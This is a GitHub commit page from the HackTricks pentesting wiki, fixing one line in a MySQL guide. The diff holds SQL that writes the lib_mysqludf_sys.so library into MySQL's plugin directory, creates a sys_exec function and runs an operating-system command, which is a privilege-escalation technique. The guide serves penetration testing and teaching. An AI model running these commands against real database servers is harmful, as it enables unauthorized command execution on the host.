Skip to content

Commit

Permalink
Merge pull request HackTricks-wiki#83 from CSoriot/patch-1
Browse files Browse the repository at this point in the history
Fixed "Privilege Escalation via library" > Linux
  • Loading branch information
carlospolop authored Mar 14, 2021
2 parents b3e8cfc + faa21b4 commit a34e305
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion pentesting/pentesting-mysql.md
Original file line number Diff line number Diff line change
Expand Up @@ -148,7 +148,7 @@ You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from npn into dumpfile '/tmp/lib_mysqludf_sys.so';
select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt');
```
Expand Down

0 comments on commit a34e305

Please sign in to comment.